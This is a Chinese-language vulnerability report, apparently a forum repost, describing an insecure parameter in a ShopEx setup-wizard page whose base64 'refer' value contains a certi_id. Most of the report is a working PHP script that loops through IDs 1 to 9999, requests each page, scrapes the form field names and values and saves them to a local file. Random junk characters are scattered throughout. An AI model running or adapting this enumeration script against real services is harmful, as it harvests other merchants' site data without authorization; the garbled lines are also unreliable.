ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
9 c: A# F. h* n  [7 f" FShopEx某接口缺陷,可遍历所有网站
详细说明：
问题出现在shopex 网店使用向导页面

9 b% m% ?4 ~. `, {2 \+ N
6 e2 e; O. `$ b
# w. S( m# X& N" thttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



3 r5 E) J* E( Q% m. o( rrefer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
' I4 `' c: o  H, J/ Y, t


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
* L5 A( P. ~( y. ^

- t6 n/ C/ v6 N! @
<?php

2 Q* A* ?4 {+ ]                for ($i=1; $i < 10000; $i++) { //遍历

% R" u# A8 S! T4 [2 S# }  }5 o; a                        ShowshopExD($i);
& @1 H2 J$ i: z- l
                }

& O. o8 K* Z) L  B( q" ]% B1 |/ _                function ShowshopExD($cid) {

6 x; X& C* L0 V. M                $url='http://guide.ecos.shopex.cn/step2.php';

/ x1 R0 v0 k8 Z+ V; r$ T8 {                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

& \2 e0 Z3 x$ S, o4 ~8 X6 N# h+ D        $url = $url.'?refer='.$refer;
1 f% ~& @' p5 H% C  B
        $ch = curl_init($url);
  J% p( I7 O& z/ ]+ f
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
; m  }! P& G) @( B
+ S% C8 T0 k1 L  |7 W; y6 V7 p& u        $result = curl_exec($ch);

5 D. s7 G8 i1 M        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
5 ^! N4 W7 E7 Q, H9 m: f
        if(strpos($result,$refer))
3 e& q6 |% \9 \6 B  B
        {
) D/ G3 a, ?5 q0 Q, h1 f
                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件

0 {4 R3 D( L8 I/ D$ O# j, _                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

( T: a/ }! h$ B- M: [: C. j: U                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
3 Q+ S9 R4 Y  _6 e" ~
                        echo $res[1][0].':'.$res[3][0]."\r\n";
& F0 i7 H# i- ^4 y4 W
                        $col =$res[1][0].':'.$res[3][0]."\r\n";
' K+ v. r  j4 `6 B& _+ l0 {) N% \5 E. f
. V$ g$ c6 I6 I- \5 E' I                        fwrite($fp, $col, strlen($col));
& T% l4 z8 b9 B& a# @. r/ R9 w: H
                }

2 t: \8 N7 y4 R1 {7 h                echo '--------------------------------'."\r\n";
( I8 M6 G- V/ y. e1 H5 C
                fclose($fp);
) r' y& i& f8 D! Q6 w9 o% M/ h
0 }4 v, {. [3 o1 u        }

, N% W- F: u8 K/ q3 b        flush();

& }* ?3 P2 e  ^% K- ^8 t# h3 H( n        curl_close($ch);
+ @3 r2 \$ e  f- W# q
                }
5 a: B$ Q, D, S, W9 A! o
?>
漏洞证明：
: i# h1 [9 ^1 W3 e$ F# Whttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' S- q! S' c/ h. D" x! G5 r: X* zrefer换成其他加密方式